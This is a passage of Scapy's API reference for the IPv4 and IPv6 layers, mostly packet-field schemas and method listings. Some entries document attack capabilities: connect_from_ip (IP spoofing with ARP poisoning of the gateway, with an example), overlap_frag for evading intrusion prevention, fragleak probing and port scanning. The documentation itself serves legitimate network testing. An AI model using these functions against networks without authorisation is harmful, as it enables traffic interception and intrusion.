+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             SPORT             |             DPORT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |             CHKSUM            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. UDPerror                           


UDPerror fields






	sport

	ShortEnumField

	53



	dport

	ShortEnumField

	53



	len

	ShortField

	None



	chksum

	XShortField

	None











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L1305-L1306]

	








	
scapy.layers.inet.calc_tcp_md5_hash(tcp: TCP, key: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L710-L723]

	Calculate TCP-MD5 hash from packet and return a 16-byte string






	
class scapy.layers.inet.connect_from_ip(host, port, srcip, poison=True, timeout=1, debug=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L2434-L2493]

	Bases: object

Open a TCP socket to a host:port while spoofing another IP.


	Parameters:

	
	host – the host to connect to


	port – the port to connect to


	srcip – the IP to spoof. the cache of the gateway will
be poisonned with this IP.


	poison – (optional, default True) ARP poison the gateway (or next hop),
so that it answers us (only one packet).


	timeout – (optional) the socket timeout.








Example - Connect to 192.168.0.1:80 spoofing 192.168.0.2:

from scapy.layers.http import HTTP, HTTPRequest
client = connect_from_ip("192.168.0.1", 80, "192.168.0.2")
sock = SSLStreamSocket(client.sock, HTTP)
resp = sock.sr1(HTTP() / HTTPRequest(Path="/"))





Example - Connect to 192.168.0.1:443 with TLS wrapping spoofing 192.168.0.2:

import ssl
from scapy.layers.http import HTTP, HTTPRequest
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
client = connect_from_ip("192.168.0.1", 443, "192.168.0.2")
sock = context.wrap_socket(client.sock)
sock = SSLStreamSocket(client.sock, HTTP)
resp = sock.sr1(HTTP() / HTTPRequest(Path="/"))






	
close()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L2489-L2493]

	








	
scapy.layers.inet.defrag(plist) → ([not fragmented], [defragmented],[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L1532-L1536]

	[ [bad fragments], [bad fragments], … ])






	
scapy.layers.inet.defragment(plist) → plist defragmented as much as possible[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L1539-L1542]

	




	
scapy.layers.inet.fragleak(target, sport=123, dport=123, timeout=0.2, onlyasc=0, count=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L2369-L2409]

	




	
scapy.layers.inet.fragleak2(target, timeout=0.4, onlyasc=0, count=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L2412-L2431]

	




	
scapy.layers.inet.fragment(pkt, fragsize=1480)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L1371-L1398]

	Fragment a big IP datagram






	
scapy.layers.inet.get_tcpao(tcphdr: TCP) → TCPAOValue | None[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L342-L348]

	Get the TCP-AO option from the header






	
scapy.layers.inet.in4_chksum(proto: int, u: IP, p: bytes) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L672-L684]

	IPv4 Pseudo Header checksum as defined in RFC793


	Parameters:

	
	proto – value of upper layer protocol


	u – upper layer instance


	p – the payload of the upper layer provided as a string













	
scapy.layers.inet.in4_pseudoheader(proto: int, u: IP, plen: int) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L633-L669]

	IPv4 Pseudo Header as defined in RFC793 as bytes


	Parameters:

	
	proto – value of upper layer protocol


	u – IP layer instance


	plen – the length of the upper layer and payload













	
scapy.layers.inet.inet_register_l3(l2, l3)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L1356-L1360]

	Resolves the default L2 destination address when IP is used.






	
scapy.layers.inet.overlap_frag(p, overlap, fragsize=8, overlap_fragsize=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L1401-L1418]

	Build overlapping fragments to bypass NIPS

p:                the original packet
overlap:          the overlapping data
fragsize:         the fragment size of the packet
overlap_fragsize: the fragment size of the overlapping packet






	
scapy.layers.inet.report_ports(target, ports)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L2328-L2348]

	portscan a target and output a LaTeX table
report_ports(target, ports) -> string






	
scapy.layers.inet.sign_tcp_md5(tcp: TCP, key: bytes) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L726-L730]

	Append TCP-MD5 signature to tcp packet






	
scapy.layers.inet.tcp_pseudoheader(tcp: TCP) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L693-L707]

	Pseudoheader of a TCP packet as bytes

Requires underlayer to be either IP or IPv6






	
scapy.layers.inet.traceroute(target, dport=80, minttl=1, maxttl=30, sport=<RandShort>, l4=None, filter=None, timeout=2, verbose=None, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L2093-L2126]

	Instant TCP traceroute


	Parameters:

	
	target – hostnames or IP addresses


	dport – TCP destination port (default is 80)


	minttl – minimum TTL (default is 1)


	maxttl – maximum TTL (default is 30)


	sport – TCP source port (default is random)


	l4 – use a Scapy packet instead of TCP


	filter – BPF filter applied to received packets


	timeout – time to wait for answers (default is 2s)


	verbose – detailed output






	Returns:

	an TracerouteResult, and a list of unanswered packets










	
scapy.layers.inet.traceroute_map(ips, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L2129-L2138]

	Util function to call traceroute on multiple targets, then
show the different paths on a map.


	Parameters:

	
	ips – a list of IPs on which traceroute will be called


	kargs – (optional) kwargs, passed to traceroute















            

          

      

      

    

  

    
      
          
            
  
scapy.layers.inet6

IPv6 (Internet Protocol v6).


	
class scapy.layers.inet6.AS_resolver6(server: str | None = None, port: int = 43, options: str | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L3384-L3408]

	Bases: AS_resolver_riswhois






	
class scapy.layers.inet6.DomainNameListField(name, default, length_from=None, padded=False)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2060-L2111]

	Bases: StrLenField


	
i2h(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2072-L2075]

	




	
i2len(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2069-L2070]

	




	
i2m(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2098-L2111]

	




	
islist = 1

	




	
m2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2077-L2096]

	




	
padded

	




	
padded_unit = 8

	








	
class scapy.layers.inet6.HAO(_pkt, /, *, otype=201, optlen=16, hoa='::')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L834-L847]

	Bases: Packet


	
aliastypes

	




	
alignment_delta(curpos)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L840-L844]

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L846-L847]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     |     OPTLEN    |              HOA              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. HAO                             


HAO fields






	otype

	_OTypeField

	201



	optlen

	ByteField

	16



	hoa

	IP6Field

	'::'















	
class scapy.layers.inet6.HBHOptUnknown(_pkt, /, *, otype=1, optlen=None, optdata=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L715-L743]

	Bases: Packet


	
aliastypes

	




	
alignment_delta(curpos)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L722-L732]

	As specified in section 4.2 of RFC 2460, every options has
an alignment requirement usually expressed xn+y, meaning
the Option Type must appear at an integer multiple of x octets
from the start of the header, plus y octets.

That function is provided the current position from the
start of the header and returns required padding length.






	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L734-L740]

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L742-L743]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OTYPE     |     OPTLEN    |            OPTDATA            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. HBHOptUnknown                        


HBHOptUnknown fields






	otype

	_OTypeField

	1



	optlen

	FieldLenField

	None



	optdata

	StrLenField

	b''















	
class scapy.layers.inet6.ICMPv6DestUnreach(_pkt, /, *, type=1, code=0, cksum=None, length=0, unused=0, extpad=b'', ext=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1441-L1454]

	Bases: _ICMPv6Error


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      CODE     |             CKSUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     LENGTH    |                     UNUSED                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |EXTPA|              EXT              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. ICMPv6DestUnreach                      


ICMPv6DestUnreach fields






	type

	ByteEnumField

	1



	code

	ByteEnumField

	0



	cksum

	XShortField

	None



	length

	ByteField

	0



	unused

	X3BytesField

	0



	extpad

	_ICMPExtensionPadField

	b''



	ext

	_ICMPExtensionField

	None











	
post_dissection(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet.py#L1040-L1046]

	








	
class scapy.layers.inet6.ICMPv6EchoReply(_pkt, /, *, type=129, code=0, cksum=None, id=0, seq=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1511-L1519]

	Bases: ICMPv6EchoRequest


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1515-L1519]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      CODE     |             CKSUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               ID              |              SEQ              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. ICMPv6EchoReply                       


ICMPv6EchoReply fields






	type

	ByteEnumField

	129



	code

	ByteField

	0



	cksum

	XShortField

	None



	id

	XShortField

	0



	seq

	XShortField

	0



	data

	StrField

	b''















	
class scapy.layers.inet6.ICMPv6EchoRequest(_pkt, /, *, type=128, code=0, cksum=None, id=0, seq=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1495-L1508]

	Bases: _ICMPv6


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      CODE     |             CKSUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               ID              |              SEQ              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. ICMPv6EchoRequest                      


ICMPv6EchoRequest fields






	type

	ByteEnumField

	128



	code

	ByteField

	0



	cksum

	XShortField

	None



	id

	XShortField

	0



	seq

	XShortField

	0



	data

	StrField

	b''











	
hashret()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1507-L1508]

	




	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1504-L1505]

	








	
class scapy.layers.inet6.ICMPv6HAADReply(_pkt, /, *, type=145, code=0, cksum=None, id=None, R=1, res=0, addresses=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2828-L2844]

	Bases: _ICMPv6


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2841-L2844]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      CODE     |             CKSUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               ID              |R|             RES             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ADDRESSES           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. ICMPv6HAADReply                       


ICMPv6HAADReply fields






	type

	ByteEnumField

	145



	code

	ByteField

	0



	cksum

	XShortField

	None



	id

	XShortField

	None



	R

	BitEnumField

	1



	res

	XBitField  (15 bits)

	0



	addresses

	IP6ListField

	[]











	
hashret()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2838-L2839]

	








	
class scapy.layers.inet6.ICMPv6HAADRequest(_pkt, /, *, type=144, code=0, cksum=None, id=None, R=1, res=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2815-L2825]

	Bases: _ICMPv6


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      CODE     |             CKSUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               ID              |R|             RES             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. ICMPv6HAADRequest                      


ICMPv6HAADRequest fields






	type

	ByteEnumField

	144



	code

	ByteField

	0



	cksum

	XShortField

	None



	id

	XShortField

	None



	R

	BitEnumField

	1



	res

	XBitField  (15 bits)

	0











	
hashret()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2824-L2825]

	








	
class scapy.layers.inet6.ICMPv6MLDMultAddrRec(_pkt, /, *, rtype=4, auxdata_len=None, sources_number=None, dst='::', sources=[], auxdata=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1610-L1627]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(packet)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1625-L1627]

	Multicast Address Record followed by another one






	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     RTYPE     |  AUXDATA LEN  |         SOURCES NUMBER        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DST                              |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            SOURCES            |            AUXDATA            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. ICMPv6MLDMultAddrRec                     


ICMPv6MLDMultAddrRec fields






	rtype

	ByteField

	4



	auxdata_len

	FieldLenField

	None



	sources_number

	FieldLenField

	None



	dst

	IP6Field

	'::'



	sources

	IP6ListField

	[]



	auxdata

	StrLenField

	b''















	
class scapy.layers.inet6.ICMPv6MLDone(_pkt, /, *, type=132, code=0, cksum=None, mrd=0, reserved=0, mladdr='::')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1575-L1578]

	Bases: _ICMPv6ML


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      CODE     |             CKSUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              MRD              |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             MLADDR                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. ICMPv6MLDone                         


ICMPv6MLDone fields






	type

	ByteEnumField

	132



	code

	ByteField

	0



	cksum

	XShortField

	None



	mrd

	ShortField

	0



	reserved

	ShortField

	0



	mladdr

	IP6Field

	'::'















	
class scapy.layers.inet6.ICMPv6MLQuery(_pkt, /, *, type=130, code=0, cksum=None, mrd=10000, reserved=0, mladdr='::')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1548-L1553]

	Bases: _ICMPv6ML


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      CODE     |             CKSUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              MRD              |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             MLADDR                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. ICMPv6MLQuery                        


ICMPv6MLQuery fields






	type

	ByteEnumField

	130



	code

	ByteField

	0



	cksum

	XShortField

	None



	mrd

	ShortField

	10000



	reserved

	ShortField

	0



	mladdr

	IP6Field

	'::'















	
class scapy.layers.inet6.ICMPv6MLQuery2(_pkt, /, *, type=130, code=0, cksum=None, mrd=10000, reserved=0, mladdr='::', Resv=0, S=0, QRV=0, QQIC=0, sources_number=None, sources=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1583-L1607]

	Bases: _ICMPv6


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      CODE     |             CKSUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              MRD              |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             MLADDR                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  RESV |S| QRV |      QQIC     |         SOURCES NUMBER        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            SOURCES            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. ICMPv6MLQuery2                        


ICMPv6MLQuery2 fields






	type

	ByteEnumField

	130



	code

	ByteField

	0



	cksum

	XShortField

	None



	mrd

	ShortField

	10000



	reserved

	ShortField

	0



	mladdr

	IP6Field

	'::'



	Resv

	BitField  (4 bits)

	0



	S

	BitField  (1 bit)

	0



	QRV

	BitField  (3 bits)

	0



	QQIC

	ByteField

	0



	sources_number

	ShortField

	None



	sources

	IP6ListField

	[]











	
post_build(packet, payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1602-L1607]

	Compute the ‘sources_number’ field when needed










	
class scapy.layers.inet6.ICMPv6MLReport(_pkt, /, *, type=131, code=0, cksum=None, mrd=0, reserved=0, mladdr='::')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1558-L1565]

	Bases: _ICMPv6ML


	
aliastypes

	




	
answers(query)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1563-L1565]

	Check the query type






	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      CODE     |             CKSUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              MRD              |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             MLADDR                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. ICMPv6MLReport                        


ICMPv6MLReport fields






	type

	ByteEnumField

	131



	code

	ByteField

	0



	cksum

	XShortField

	None



	mrd

	ShortField

	0



	reserved

	ShortField

	0



	mladdr

	IP6Field

	'::'















	
class scapy.layers.inet6.ICMPv6MLReport2(_pkt, /, *, type=143, res=0, cksum=None, reserved=0, records_number=None, records=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1630-L1653]

	Bases: _ICMPv6


	
aliastypes

	




	
answers(query)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1651-L1653]

	Check the query type






	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      RES      |             CKSUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            RESERVED           |         RECORDS NUMBER        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            RECORDS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. ICMPv6MLReport2                       


ICMPv6MLReport2 fields






	type

	ByteEnumField

	143



	res

	ByteField

	0



	cksum

	XShortField

	None



	reserved

	ShortField

	0



	records_number

	ShortField

	None



	records

	PacketListField

	[]











	
post_build(packet, payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1644-L1649]

	Compute the ‘records_number’ field when needed










	
class scapy.layers.inet6.ICMPv6MPAdv(_pkt, /, *, type=147, code=0, cksum=None, id=None, flags=2, res=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2859-L2872]

	Bases: _ICMPv6NDGuessPayload, _ICMPv6


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2871-L2872]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      CODE     |             CKSUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               ID              |FLA|            RES            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. ICMPv6MPAdv                         


ICMPv6MPAdv fields






	type

	ByteEnumField

	147



	code

	ByteField

	0



	cksum

	XShortField

	None



	id

	XShortField

	None



	flags

	BitEnumField

	2



	res

	XBitField  (14 bits)

	0











	
hashret()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2868-L2869]

	








	
class scapy.layers.inet6.ICMPv6MPSol(_pkt, /, *, type=146, code=0, cksum=None, id=None, res=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2847-L2856]

	Bases: _ICMPv6


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      CODE     |             CKSUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               ID              |              RES              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. ICMPv6MPSol                         


ICMPv6MPSol fields






	type

	ByteEnumField

	146



	code

	ByteField

	0



	cksum

	XShortField

	None



	id

	XShortField

	None



	res

	XShortField

	0















	
class scapy.layers.inet6.ICMPv6MRD_Advertisement(_pkt, /, *, type=151, advinter=20, cksum=None, queryint=0, robustness=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1668-L1679]

	Bases: _ICMPv6


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1678-L1679]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |    ADVINTER   |             CKSUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
